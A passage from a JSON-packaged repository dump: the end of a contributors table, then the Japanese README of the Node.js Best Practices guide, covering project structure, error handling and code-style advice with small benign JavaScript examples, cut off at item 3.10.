src=\"https://avatars.githubusercontent.com/u/97490806?v=4\" width=\"100px;\" alt=\"이주호\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>이주호</b></sub></a><br /><a href=\"#content-jutiger\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/MisterSingh\"><img src=\"https://avatars.githubusercontent.com/u/44462019?v=4\" width=\"100px;\" alt=\"Singh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Singh</b></sub></a><br /><a href=\"#content-MisterSingh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Alex-Dumitru\"><img src=\"https://avatars.githubusercontent.com/u/43738450?v=4\" width=\"100px;\" alt=\"Alex Dumitru\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alex Dumitru</b></sub></a><br /><a href=\"#content-Alex-Dumitru\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/lykhatskyi\"><img src=\"https://avatars.githubusercontent.com/u/18104686?v=4\" width=\"100px;\" alt=\"Anton Lykhatskyi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Anton Lykhatskyi</b></sub></a><br /><a href=\"#content-lykhatskyi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/EverythingAvailable\"><img src=\"https://avatars.githubusercontent.com/u/81002379?v=4\" width=\"100px;\" alt=\"sangwonlee\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>sangwonlee</b></sub></a><br /><a href=\"#content-EverythingAvailable\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/euberdeveloper\"><img src=\"https://avatars.githubusercontent.com/u/33126163?v=4\" width=\"100px;\" alt=\"Eugenio Berretta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Eugenio Berretta</b></sub></a><br /><a href=\"#content-euberdeveloper\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/soranakk\"><img src=\"https://avatars.githubusercontent.com/u/3930307?v=4\" width=\"100px;\" alt=\"soranakk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>soranakk</b></sub></a><br /><a href=\"#content-soranakk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/backend-joonyoung\"><img src=\"https://avatars.githubusercontent.com/u/94430145?v=4\" width=\"100px;\" alt=\"고준영\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>고준영</b></sub></a><br /><a href=\"#content-backend-joonyoung\" title=\"Content\">🖋</a> <a href=\"https://github.com/goldbergyoni/nodebestpractices/commits?author=backend-joonyoung\" title=\"Code\">💻</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/GuilhermePortella\"><img src=\"https://avatars.githubusercontent.com/u/59876059?v=4\" width=\"100px;\" alt=\"Guilherme Portella \"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Guilherme Portella </b></sub></a><br /><a href=\"#content-GuilhermePortella\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.youtube.com/channel/UCBxzOQd2v9wWfiMDrf_RQ7A\"><img src=\"https://avatars.githubusercontent.com/u/18497570?v=4\" width=\"100px;\" alt=\"André Esser\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>André Esser</b></sub></a><br /><a href=\"#content-Esser50K\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ShiChenCong\"><img src=\"https://avatars.githubusercontent.com/u/22486446?v=4\" width=\"100px;\" alt=\"Scc\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Scc</b></sub></a><br /><a href=\"#translation-ShiChenCong\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.mauroaccornero.it\"><img src=\"https://avatars.githubusercontent.com/u/1875822?v=4\" width=\"100px;\" alt=\"Mauro Accornero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mauro Accornero</b></sub></a><br /><a href=\"#content-mauroaccornero\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/no-yan\"><img src=\"https://avatars.githubusercontent.com/u/63000297?v=4\" width=\"100px;\" alt=\"no-yan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>no-yan</b></sub></a><br /><a href=\"#content-no-yan\" title=\"Content\">🖋</a></td>\n    </tr>\n  </tbody>\n</table>\n\n<!-- markdownlint-restore -->\n<!-- prettier-ignore-end -->\n\n<!-- ALL-CONTRIBUTORS-LIST:END -->\n"
  },
  {
    "path": "README.japanese.md",
    "content": "[✔]: assets/images/checkbox-small-blue.png\n\n# Node.js ベストプラクティス\n\n<h1 align=\"center\">\n  <img src=\"assets/images/banner-2.jpg\" alt=\"Node.js Best Practices\"/>\n</h1>\n\n<br/>\n\n<div align=\"center\">\n  <img src=\"https://img.shields.io/badge/⚙%20Item%20count%20-%20101%20Best%20Practices-blue.svg\" alt=\"101 items\"/> <img src=\"https://img.shields.io/badge/%F0%9F%93%85%20Last%20update%20-%20March%2012%202020-green.svg\" alt=\"Last update: March, 2020\"/> <img src=\"https://img.shields.io/badge/ %E2%9C%94%20Updated%20For%20Version%20-%20Node%2012.12.0-brightgreen.svg\" alt=\"Updated for Node 13.1.0\"/>\n</div>\n\n<br/>\n\n[![nodepractices](./assets/images/twitter-s.png)](https://twitter.com/nodepractices/) **私たちの Twitter をフォローしましょう！** [**@nodepractices**](https://twitter.com/nodepractices/)\n\n<br/>\n\n他の言語で読む: [![CN](./assets/flags/CN.png)**CN**](./README.chinese.md), [![BR](./assets/flags/BR.png)**BR**](./README.brazilian-portuguese.md), [![RU](./assets/flags/RU.png)**RU**](./README.russian.md), [![PL](./assets/flags/PL.png)**PL**](./README.polish.md), [![JA](./assets/flags/JA.png)**JA**](./README.japanese.md), [![EU](./assets/flags/EU.png)**EU**](./README.basque.md) [(![ES](./assets/flags/ES.png)**ES**, ![FR](./assets/flags/FR.png)**FR**, ![HE](./assets/flags/HE.png)**HE**, ![KR](./assets/flags/KR.png)**KR** and ![TR](./assets/flags/TR.png)**TR** in progress!)](#translations)\n\n<br/>\n\n###### [ステアリングコミッティー](#ステアリングコミッティー)と[コラボレーター](#コラボレーター)によって運営されています\n\n# 最新のベストプラクティス・お知らせ\n\n- **:tada: Node.js ベストプラクティスは 50k スターに到達しました**: このプロジェクトをこのようなものにしてくれた全てのコントリビューターに感謝申し上げます！ 私たちは、増え続ける Node.js のベストプラクティスリストをさらに拡大していくために、これから先たくさんの計画を画策しています。\n\n- **🎧 ポッドキャスト**: 私たちのチームの Yoni Goldberg が、前回の JS Party Podcast（とってもクールなポッドキャストです！）のエピソードに出演して、Node.js ベストプラクティスについて話をしました。[🎧 ここから聞きましょう。](https://changelog.com/jsparty/139)\n\n- **:whale: Node.js + Docker ベストプラクティス**: Docker を用いたより良いコーディングテクニック 15 項目を含んだ、Docker と Node.js のセクションを新たに公開しました。\n\n- **🎤 OdessaJS でのトーク**: 今週、[OdessaJS conference](https://odessajs.org/) という素晴らしい舞台で、Node.js のテストについて話をします。\n\n<br/><br/>\n\n# ようこそ！ まず始めに知っておくべき 3 つのこと\n\n**1. 実際、あなたは何十もの Node.js の最高の記事を読んでいます -** このリポジトリは、Node.js のベストプラクティスに関するトップランクのコンテンツや、コラボレーターによって書かれたコンテンツをまとめたものです。\n\n**2. 最大の集大成であり、毎週のように増え続けています -** 現在、80 以上のベストプラクティスやスタイルガイド、アーキテクチャのヒントが記載されています。この「生きた本」がアップデートされた状態を保つために、新しいイシューやプルリクエストは毎日のように作成されています。私たちは、コードの修正や翻訳作業、素晴らしい新たなアイデアの提案に至るまで、あなたの貢献を心待ちにしています。詳しくは[ライティングガイドライン](./.operations/writing-guidelines.japanese.md)をご覧ください。\n\n**3. ほとんどのベストプラクティスには追加情報があります -** ほとんどの項目に **🔗 さらに読む** というリンクがあります。このリンクは、コード例や厳選されたブログからの引用、その他多くの情報など、プラクティスを発展させる内容を含んでいます。\n\n<br/><br/>\n\n## Table of Contents\n\n1. [プロジェクト構成のプラクティス (5)](#1-プロジェクト構成のプラクティス)\n2. [エラーハンドリングのプラクティス (11) ](#2-エラーハンドリングのプラクティス)\n3. [コードスタイルのプラクティス (12) ](#3-コードスタイルのプラクティス)\n4. [テストと総合的な品質のプラクティス (13) ](#4-テストと総合的な品質のプラクティス)\n5. [本番環境移行のプラクティス (19) ](#5-本番環境移行のプラクティス)\n6. [セキュリティのプラクティス (25)](#6-セキュリティのプラクティス)\n7. [パフォーマンスのプラクティス (2) (進行中️ ✍️)](#7-draft-パフォーマンスのプラクティス)\n8. [Docker のプラクティス (15)](#8-docker-のプラクティス)\n\n<br/><br/>\n\n# `1. プロジェクト構成のプラクティス`\n\n## ![✔] 1.1 コンポーネントによりソリューションを構築する\n\n**TL;DR:** 大規模アプリケーションの最悪の落とし穴は、何百もの依存関係を持つ巨大なコードベースを維持することです。- そのようなモノリスは、新しい機能を取り入れようとする開発者の速度を低下させます。その代わりに、コードをコンポーネントに分割し、それぞれが独自のフォルダや専用のコードベースを取得し、各ユニットが小さくシンプルに保たれていることを確認してください。正しいプロジェクト構造の例を見るには、以下の「さらに読む」を参照してください。\n\n**さもないと:** 新しい機能をコーディングする開発者が、自分の変更の影響を理解するのに苦労したり、他の依存するコンポーネントを壊すことを恐れたりすると、デプロイが遅くなり、リスクが高くなります。また、すべてのビジネスユニットが分離されていない場合、スケールアウトするのは難しいと考えられています。\n\n🔗 [**さらに読む: コンポーネントで構成する**](./sections/projectstructre/breakintcomponents.japanese.md)\n\n<br/><br/>\n\n## ![✔] 1.2 コンポーネントを階層化し、その境界内にウェブレイヤーを維持する\n\n**TL;DR:** 各コンポーネントは、ウェブ、ロジック、データアクセスコードのための専用オブジェクトである「レイヤー」を含むべきです。これにより、懸念点がきれいに分離されるだけでなく、システムのモックやテストが大幅に楽になります。これは非常に一般的なパターンですが、API 開発者は Web レイヤーオブジェクト (例: Express req, res) をビジネスロジックとデータレイヤーに渡すことでレイヤーを混ぜる傾向があります - これにより、アプリケーションが特定の Web フレームワークに依存してしまい、特定の Web フレームワークからしかアクセスできなくなってしまいます。\n\n**さもないと:** Web オブジェクトと他のレイヤーが混在するアプリには、テストコードや CRON ジョブ、メッセージキューからのトリガーなどからアクセスすることはできません。\n\n🔗 [**さらに読む: アプリケーションを階層化する**](./sections/projectstructre/createlayers.japanese.md)\n\n<br/><br/>\n\n## ![✔] 1.3 一般的なユーティリティを npm パッケージとしてラップする\n\n**TL;DR:** 大規模なコードベースで構成される大規模なアプリでは、logger や暗号化などの横断的に関心のあるユーティリティは、独自のコードでラップし、プライベートな npm パッケージとして公開する必要があります。これにより、複数のコードベースやプロジェクト間で共有することができます。\n\n**さもないと:** デプロイと依存関係の車輪の作成をしなければいけなくなります\n\n🔗 [**さらに読む: 機能で構成する**](./sections/projectstructre/wraputilities.japanese.md)\n\n<br/><br/>\n\n## ![✔] 1.4 Express の「アプリ」と「サーバー」を分離する\n\n**TL;DR:** [Express](https://expressjs.com/) のアプリ全体を単一の巨大なファイルで定義するという厄介な習慣を回避します。- 「Express」の定義を、API 宣言( app.js )とネットワーク関連( WWW )の少なくとも 2 つのファイルに分離してください。より良い構造にするためには、API 宣言をコンポーネント内に配置してください。\n\n**さもないと:** API は HTTP 呼び出しのみでテストにアクセスできるようになります（カバレッジレポートを生成するのがより遅く、はるかに困難になります）。何百行ものコードを一つのファイルで管理するのは、おそらく大きな喜びではないでしょう。\n\n🔗 [**さらに読む: Express の「アプリ」と「サーバー」を分離する**](./sections/projectstructre/separateexpress.japanese.md)\n\n<br/><br/>\n\n## ![✔] 1.5 環境を意識したセキュアで階層的な設定を使用する\n\n**TL;DR:** 完璧で欠陥のない設定を行うには、次のようなことが必要です。(a) キーはファイルまたは環境変数から読み込むことができる (b) 秘密情報はコミットされたコードの外側に保持されている (c) 設定が階層化されており、見つけやすくなっている [rc](https://www.npmjs.com/package/rc) や [nconf](https://www.npmjs.com/package/nconf)、 [config](https://www.npmjs.com/package/config)、[convict](https://www.npmjs.com/package/convict) など、これらのボックスのほとんどを満たすのに役立つパッケージがいくつかあります。\n\n**さもないと:** 設定要件のどれかを満たさないと、開発チームや DevOps チーム、おそらく両方ともの頭を悩ませてしまいます。\n\n🔗 [**さらに読む: 構成のベストプラクティス**](./sections/projectstructre/configguide.japanese.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ トップに戻る</a></p>\n\n# `2. エラーハンドリングのプラクティス`\n\n## ![✔] 2.1 非同期エラーハンドリングに Async-Await または promises を使う\n\n**TL;DR:** コールバックスタイルで非同期エラーを処理することは、おそらく地獄への最短経路でしょう（Pyramid of doom として知られています）。あなたができるコードへの最高の贈り物は、信頼できる promise ライブラリや async-await を使うことです。これらは、try-catch のような、よりコンパクトで親しみやすいコードシンタックスを可能にします。\n\n**さもなければ:** Node.js のコールバックスタイル、つまり function(err, response) を利用することは、正常な処理を行うコードとエラーハンドリングの混同、過剰なネスト構造、そして厄介なコーディングパターンが原因となって、メンテナンス性の低いコードにつながります。\n\n🔗 [**さらに読む: コールバック関数の利用を避ける**](./sections/errorhandling/asyncerrorhandling.japanese.md)\n\n<br/><br/>\n\n## ![✔] 2.2 組み込みのエラーオブジェクトのみを使用する\n\n**TL;DR:** 多くがエラーとして文字列やカスタム型を投げます - これはエラー処理ロジックとモジュール間の相互運用性を複雑にします。promise を reject したのか、例外を投げたのか、エラーを排出したのかに関わらず、組み込みのエラーオブジェクト（またはそれを拡張したオブジェクト）だけ使うことは一貫性を向上させ、情報の欠落を防ぎます。\n\n**さもないと:** ある要素を呼び出したとき、どの型のエラーが返ってくるか不確かである - といった状況は、適切なエラー処理をより難しいものにします。さらに悪いことに、エラーを表現するためにカスタム型を使うことは、スタックトレースのような重大なエラー情報を失うことに繋がるかもしれません。\n\n🔗 [**さらに読む: 組み込みのエラーオブジェクトのみを使用する**](./sections/errorhandling/useonlythebuiltinerror.japanese.md)\n\n<br/><br/>\n\n## ![✔] 2.3 操作上のエラーとプログラマーのエラーを区別する\n\n**TL;DR:** 操作上のエラー（例: API が無効な入力を受け取る）は、エラーの影響が十分に理解され、そして丁寧に処理される既知のエラーのことを指します。一方で、プログラマーのエラー（例: 未定義の変数を参照しようとする）は、アプリケーションをすぐさま再起動させる、未知のコードエラーのことを指します。\n\n**さもないと:** エラーが発生したときに毎回アプリケーションを再起動しているかもしれませんが、さほど重要でない、予測可能な、操作上のエラーを原因としてなぜ ~5000 人規模のオンラインユーザーをダウンさせるのでしょうか？ その逆もまた理想的ではありません ー 未知のエラー（プログラマーのエラー）が発生したときにアプリケーションをそのまま起動し続けることは、予想外の振る舞いに繋がるかもしれません。この２つを区別することで、機転の利いた振る舞いをさせ、与えられたコンテキストに基づいた適切なアプローチを適用させることができます。\n\n🔗 [**さらに読む: 操作上のエラーとプログラマーのエラーを区別する**](./sections/errorhandling/operationalvsprogrammererror.japanese.md)\n\n<br/><br/>\n\n## ![✔] 2.4 エラー処理を一元化し、ミドウェア内で処理をしない\n\n**TL;DR:** 管理者へのメールやロギングのようなエラー処理ロジックは、エラーが発生したときに全てのエンドポイント（Express ミドルウェア、cron ジョブ、ユニットテストなど）が呼び出す、エラー処理専用の一元化されたオブジェクトにカプセル化されているべきです。\n\n**さもないと:** エラーを一箇所で処理しないと、コードの重複や、不適切に処理されたエラーの発生に繋がる可能性があります。\n\n🔗 [**さらに読む: エラー処理を一元化し、ミドウェア内で処理をしない**](./sections/errorhandling/centralizedhandling.japanese.md)\n\n<br/><br/>\n\n## ![✔] 2.5 Swagger または GraphQL を利用して API のエラーをドキュメント化する\n\n**TL;DR:** API の呼び出し元に、どのようなエラーが返ってくるかを示しておくことで、クラッシュすることなく丁寧にエラー処理を行うことができます。RESTful API の場合、通常 Swagger のようなドキュメントフレームワークを使用します。GraphQL を使用している場合は、スキーマやコメントも利用できます。\n\n**さもないと:** API クライアントがクラッシュして再起動するのは、不明なエラーを受け取ったからかもしれません。注意: API の呼び出し元はあなた自身かもしれません（マイクロサービス構成では非常によくあることです）\n\n🔗 [**さらに読む: Swagger または GraphQL を利用して API のエラーをドキュメント化する**](./sections/errorhandling/documentingusingswagger.japanese.md)\n\n<br/><br/>\n\n## ![✔] 2.6 見ず知らずの事象が起きたら潔くプロセスを終了する\n\n**TL;DR:** 未知のエラーが発生した場合（プログラマーのエラー、ベストプラクティス 2.3 参照）、アプリケーションの健全性に不確実さがあります。一般的に、[Forever](https://www.npmjs.com/package/forever) や [PM2](http://pm2.keymetrics.io/) のようなプロセス管理ツールを利用してプロセスを慎重に再起動することが推奨されています。\n\n**さもないと:** 不明な例外が発生した場合、一部のオブジェクトが不完全な状態（例えば、グローバルに使用されているイベントエミッタが内部的なエラーによりイベントを発火しなくなっている、など）になっている可能性があり、後に来るリクエストが失敗したり、予期せぬ挙動をしたりするかもしれません。\n\n🔗 [**さらに読む: 見ず知らずの事象が起きたら潔くプロセスを終了する**](./sections/errorhandling/shuttingtheprocess.japanese.md)\n\n<br/><br/>\n\n## ![✔] 2.7 エラーの可視性を高めるために成熟したロガーを使用する\n\n**TL;DR:** [Pino](https://github.com/pinojs/pino) や [Log4js](https://www.npmjs.com/package/log4js) のような成熟したロギングツールは、エラーの発見と理解を加速します。ですから、console.log のことは忘れましょう。\n\n**さもないと:** console.log によるログに目を通したり、クエリツールやまともなログビューア無しで扱いにくいテキストファイルを手動で確認したりすると、遅くまで仕事をする羽目になるかもしれません。\n\n🔗 [**さらに読む: エラーの可視性を高めるために成熟したロガーを使用する**](./sections/errorhandling/usematurelogger.japanese.md)\n\n<br/><br/>\n\n## ![✔] 2.8 お気に入りのテストフレームワークを使用してエラーフローをテストする\n\n**TL;DR:** プロ仕様の自動化された QA であろうと単純な手動の開発者によるテストであろうと、コードが正常系のシナリオを満たすだけでなく、正しくエラーを処理して返すことを保証してください。Mocha や Chai のようなテストフレームワークは、これを簡単に処理することができます（「さらに読む」の例を参照）\n\n**さもないと:** 自動であっても手動であっても、テストがなければ、コードが正しいエラーを返すと信用することはできません。意味のあるエラーがなければ、エラー処理はできません。\n\n🔗 [**さらに読む: お気に入りのテストフレームワークを使用してエラーフローをテストする**](./sections/errorhandling/testingerrorflows.japanese.md)\n\n<br/><br/>\n\n## ![✔] 2.9 APM 製品を利用してエラーとダウンタイムを発見する\n\n**TL;DR:** モニタリング・パフォーマンス計測を行う製品（APM として知られています）は、コードベースや API をプロアクティブに計測し、見落としていたエラーやクラッシュ、処理の遅い部分を自動的にハイライトすることができます。\n\n**さもないと:** API のパフォーマンスとダウンタイムの計測に多大な労力を費やしているかもしれませんが、現実のシナリオにおいてどの部分のコードが最も遅いのか、そしてそれらがどのように UX に影響を及ぼしているのか、あなたが気づくことは恐らくないでしょう。\n\n🔗 [**さらに読む: APM 製品を利用してエラーとダウンタイムを発見する**](./sections/errorhandling/apmproducts.japanese.md)\n\n<br/><br/>\n\n## ![✔] 2.10 未処理の reject された promise を捕捉する\n\n**TL;DR:** promise の中で投げられた全ての例外は、開発者が明示的に処理を行うことを忘れていない限り、飲み込まれて破棄されます。たとえコードが `process.uncaughtException` をサブスクライブしていたとしてもです！`process.unhandledRejection` イベントに登録することで、この問題を乗り越えることができます。\n\n**さもないと:** あなたのエラーは飲み込まれて、何のトレースも残しません。心配することは、何も残りません。\n\n🔗 [**さらに読む: 未処理の reject された promise を捕捉する**](./sections/errorhandling/catchunhandledpromiserejection.japanese.md)\n\n<br/><br/>\n\n## ![✔] 2.11 専用のライブラリを利用して引数の検証を高速に行う\n\n**TL;DR:** API の入力をアサートすることで、後から追跡するのが非常に難しい厄介なバグを避けることができます。[ajv](https://www.npmjs.com/package/ajv) や [Joi](https://www.npmjs.com/package/joi) のような非常にクールなヘルパーライブラリを利用しない限り、バリデーションコードを書くことは一般的に退屈な作業です。\n\n**さもないと:** 考えてみて下さい ー 関数は数値の引数「Discount」を受け取ることを期待していますが、呼び出し元が値を渡すのを忘れてしまいました。その後、コードが Discount!=0 (許容されたディスカウントの量が 0 よりも大きいことを想定) であるということをチェックし、そのチェックをクリアした場合にユーザーがディスカウントを受けられるようにしました。オーマイガー、なんて厄介なバグなんでしょう。わかりますか？（訳注：「さらに読む」に具体的なコード例が載っています）\n\n🔗 [**さらに読む: 専用のライブラリを利用して引数の検証を高速に行う**](./sections/errorhandling/failfast.japanese.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ トップに戻る</a></p>\n\n# `3. コードスタイルのプラクティス`\n\n## ![✔] 3.1 ESLint を使う\n\n**TL;DR:** [ESLint](https://eslint.org) は、コードエラーの可能性をチェックし、コードスタイルを修正するためのデファクトスタンダードで、細かい間隔の問題を特定するだけでなく、開発者が分類せずにエラーを投げるような深刻なコードアンチパターンを検出することもできます。ESLint はコードスタイルを自動的に修正することができますが、[prettier](https://www.npmjs.com/package/prettier) や [beautify](https://www.npmjs.com/package/js-beautify) のような他のツールは、フィックスの書式設定をより強力にし、ESLint と連携して動作します。\n\n**さもないと:** 開発者は退屈な間隔や線幅の問題に集中し、プロジェクトのコードスタイルを考えすぎて時間を無駄にしてしまうかもしれません。\n\n🔗 [**さらに読む: ESLint と Prettier を使う**](./sections/codestylepractices/eslint_prettier.japanese.md)\n\n<br/><br/>\n\n## ![✔] 3.2 Node.js に特化したプラグイン\n\n**TL;DR:** vanilla JavaScript をカバーする ESLint の標準ルールに加えて、[eslint-plugin-node](https://www.npmjs.com/package/eslint-plugin-node) や [eslint-plugin-mocha](https://www.npmjs.com/package/eslint-plugin-mocha)、[eslint-plugin-node-security](https://www.npmjs.com/package/eslint-plugin-security) のような Node.js に特化したプラグインを追加します。\n\n**さもないと:** 多くの欠陥のある Node.js のコードパターンは、レーダーを逃れてしまうかもしれません。例えば、開発者は攻撃者が任意の JS スクリプトを実行できるように、パスとして与えられた変数を持つファイルを require(variableAsPath) しているかもしれません。Node.js の linters は、そのようなパターンを早期に検出して知らせてくれます。\n<br/><br/>\n\n## ![✔] 3.3 コードブロックの中括弧を同一行上でスタートさせる\n\n**TL;DR:** コードブロックの冒頭の中括弧は、冒頭の文と同じ行でなければなりません。\n\n### コード例\n\n```javascript\n// Do\nfunction someFunction() {\n  // code block\n}\n\n// Avoid\nfunction someFunction()\n{\n  // code block\n}\n```\n\n**さもないと:** このベストプラクティスから逸脱すると、以下の StackOverflow スレッドにあるように、予期せぬ結果を招く可能性があります。:\n\n🔗 [**さらに読む:** \"なぜ中括弧の配置によって結果が変わるのか?\" (StackOverflow)](https://stackoverflow.com/questions/3641519/why-does-a-results-vary-based-on-curly-brace-placement)\n\n<br/><br/>\n\n## ![✔] 3.4 ステートメントを適切に区切る\n\nステートメントを区切るためにセミコロンを使うか使わないかに関わらず、不適切な改行や自動セミコロン挿入のよくある落とし穴を知っておくことで、通常の構文エラーをなくすことができます。\n\n**TL;DR:** ESLint を使用して、分離の懸念について認識する。 [Prettier](https://prettier.io/) や [Standardjs](https://standardjs.com/) は、これらの問題を自動的に解決することができます。\n\n**さもないと:** 前のセクションで見たように、JavaScript のインタプリタは、セミコロンがない場合は自動的に文の最後にセミコロンを追加したり、ステートメントが本来あるべき場所で終わっていないとみなしたりすることで、望まない結果になってしまう可能性があります。代入を使用し、即時に呼び出された関数式の使用を避けることで、予期せぬエラーのほとんどを防ぐことができます。\n\n### 3.4 コード例\n\n```javascript\n// する\nfunction doThing() {\n    // ...\n}\n\ndoThing()\n\n// する\n\nconst items = [1, 2, 3]\nitems.forEach(console.log)\n\n// 避ける — 例外を投げる\nconst m = new Map()\nconst a = [1,2,3]\n[...m.values()].forEach(console.log)\n> [...m.values()].forEach(console.log)\n>  ^^^\n> SyntaxError: Unexpected token ...\n\n// 避ける — 例外を投げる\nconst count = 2 // 2() を実行しようとしますが、2 は関数ではありません\n(function doSomething() {\n  // 凄いことをする\n}())\n// 直ちに呼び出された関数の前、const 定義の後にセミコロンを置く、匿名関数の戻り値を変数に保存する、あるいは IIFE を完全に回避する\n```\n\n🔗 [**さらに読む:** \"準 ESLint ルール\"](https://eslint.org/docs/rules/semi)\n🔗 [**さらに読む:** \"予期せぬ複数行を許さない ESLint のルール\"](https://eslint.org/docs/rules/no-unexpected-multiline)\n\n<br/><br/>\n\n## ![✔] 3.5 関数に名前を付ける\n\n**TL;DR:** クロージャやコールバックを含むすべての関数に名前を付けます。匿名関数は避けてください。これは特に node アプリをプロファイリングするときに便利です。すべての関数に名前を付けることで、メモリスナップショットをチェックする際に何を見ているのかを簡単に理解することができます。\n\n**さもないと:** コアダンプ(メモリスナップショット)を使用した本番環境の問題のデバッグは、匿名関数からのメモリ消費が大きいことに気づくと、困難になるかもしれません。\n\n<br/><br/>\n\n## ![✔] 3.6 変数、定数、関数、クラスの命名規則を使用する\n\n**TL;DR:** 定数、変数、関数の命名をするときは **_lowerCamelCase_** を使用し、クラスの命名をするときは**_UpperCamelCase_** (頭文字も大文字) を使用してください。これは、プレーンな変数/関数とインスタンス化を必要とするクラスを簡単に区別するのに役立ちます。記述的な名前を使用しますが、短くしてください。\n\n**さもないと:** JavaScript は、最初にインスタンスを作成せずにコンストラクタ（「クラス」）を直接呼び出すことができる世界で唯一の言語です。その結果、クラスと関数構造体は UpperCamelCase から始まることで区別されます。\n\n### 3.6 コード例\n\n```javascript\n// クラスには、UpperCamelCase を使用します\nclass SomeClassExample {}\n\n// const 名には const キーワードと lowerCamelCase を使用します\nconst config = {\n  key: \"value\",\n};\n\n// 変数や関数名には lowerCamelCase を使用します\nlet someVariableExample = \"value\";\nfunction doSomething() {}\n```\n\n<br/><br/>\n\n## ![✔] 3.7 let よりも const を優先してください。var はいりません\n\n**TL;DR:** `const` を使うということは、一度代入された変数は再代入できないということを意味します。`const` を優先することで、同じ変数を異なる用途に使いたくなることを防ぎ、コードをより明確にすることができます。変数を再割り当てする必要がある場合、例えば for ループの中などでは、`let` を使って宣言します。もう一つの重要な点は、`let` を使って宣言された変数は、それが定義されたブロックスコープ内でのみ利用可能であるということです。`var` はブロックスコープではなく関数スコープであり、[ES6 では使うべきではない](https://hackernoon.com/why-you-shouldnt-use-var-anymore-f109a58b9b70) ので、`const` と `let` がある以上必要ありません。\n\n**さもないと:** 頻繁に変化する変数に従うと、デバッグが非常に面倒になります。\n\n🔗 [**さらに読む: JavaScript ES6+: var、let、それとも const ?** ](https://medium.com/javascript-scene/javascript-es6-var-let-or-const-ba58b8dcde75)\n\n<br/><br/>\n\n## ![✔] 3.8 関数の内部ではなく、まずモジュールを require する\n\n**TL;DR:** 各ファイルの先頭かつ、全ての関数の前かつ外でモジュールを require します。このシンプルなベストプラクティスは、ファイルの依存関係を簡単かつ迅速にトップに表示するのに役立つだけでなく、いくつかの潜在的な問題を回避することができます。\n\n**さもないと:** Require は Node.js によって同期的に実行されます。関数内から呼び出された場合、他のリクエストがより重要なタイミングで処理されるのをブロックすることがあります。また、require されたモジュールやそれ自身の依存関係がエラーを出してサーバをクラッシュさせてしまった場合は、できるだけ早く見つけた方が良いでしょう。関数の中からモジュールが require されている場合は早く見つけることができないかもしれません。\n\n<br/><br/>\n\n## ![✔] 3.9 ファイルに直接アクセスするのではなく、フォルダごとにモジュールを require します\n\n**TL;DR:** モジュール/ライブラリをフォルダ内で開発する場合は、モジュールの内部を公開する index.js ファイルを配置し、すべての使用者がそれを通過するようにします。これはモジュールへの「インタフェース」として機能し、約束事を破ることなく将来の変更を容易にします。\n\n**さもないと:** ファイルの内部構造や署名を変更すると、クライアントとのインタフェースが壊れてしまう可能性があります。\n\n### 3.9 コード例\n\n```javascript\n// する\nmodule.exports.SMSProvider = require(\"./SMSProvider\");\nmodule.exports.SMSNumberResolver = require(\"./SMSNumberResolver\");\n\n// 避ける\nmodule.exports.SMSProvider = require(\"./SMSProvider/SMSProvider.js\");\nmodule.exports.SMSNumberResolver = require(\"./SMSNumberResolver/SMSNumberResolver.js\");\n```\n\n<br/><br/>\n\n## ![✔] 3.10 `===` 演算子を使用する\n\n**TL;DR:** 弱い抽象的な等号演算子 `==` よりも厳密な等号演算子 `===` を優先してください。`==` は 2 つの変数を共通の型に変換した後に比較します。`===` には型変換はなく、両方の変数が同じ型で等しくなければいけません。\n\n**さもないと:** `==` 演算子で比較すると、同じでない値でも真を返すかもしれません。\n\n### 3.10 